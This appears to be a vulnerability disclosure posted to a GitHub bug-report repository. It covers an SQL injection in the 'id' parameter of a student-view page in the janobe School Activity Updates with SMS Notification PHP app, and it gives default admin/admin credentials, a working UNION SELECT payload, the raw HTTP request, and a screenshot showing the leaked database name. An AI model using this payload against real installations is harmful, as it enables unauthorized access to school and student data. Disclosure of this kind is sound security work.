

main

...

bug\_report / vendors / janobe / school-activity-updates-sms-notification / SQLi-2.md



saluteSUC Create SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.23 KB

...

# School Activity Updates with SMS Notification v1.0 by janobe has SQL injection

BUG\_Author: salute

Login account: admin/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/13799/school-activity-updates-sms-notification-phppdo.html>

The program is built using the xmapp-php5.6 version

Vulnerability File: /activity/admin/modules/modstudent/index.php?view=view&id=

Vulnerability location: /activity/admin/modules/modstudent/index.php?view=view&id=, id

dbname =db\_wvsu

[+] Payload: /activity/admin/modules/modstudent/index.php?

view=view&id=-201806%27%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13--

+ // Leak place ---> id

GET /activity/admin/modules/modstudent/index.php?view=view&id=-201806%27%20union%20s  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5  
Connection: close

The screenshot shows a web browser window with a URL bar containing the following URL: `http://192.168.1.19/activity/admin/modules/modstudent/index.php?view=view&id=-201806' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13--+|`. The browser's developer tools are open, showing the 'Load URL' tab. The page content displays a 'Student Profile' section with a large empty box for a photo. Below the photo box, the text 'Photo' is visible. Underneath, the text 'Real name' is followed by the value 'db\_wvsu 5'. The browser's address bar shows the URL, and the developer tools show the 'Load URL' tab. The page content includes a sidebar with navigation links: Dashboard, Events, Announcements, Courses, Departments, Students (highlighted), and Users. The main content area is titled 'Student Profile' and contains a large empty box for a photo. Below the photo box, the text 'Photo' is visible. Underneath, the text 'Real name' is followed by the value 'db\_wvsu 5'.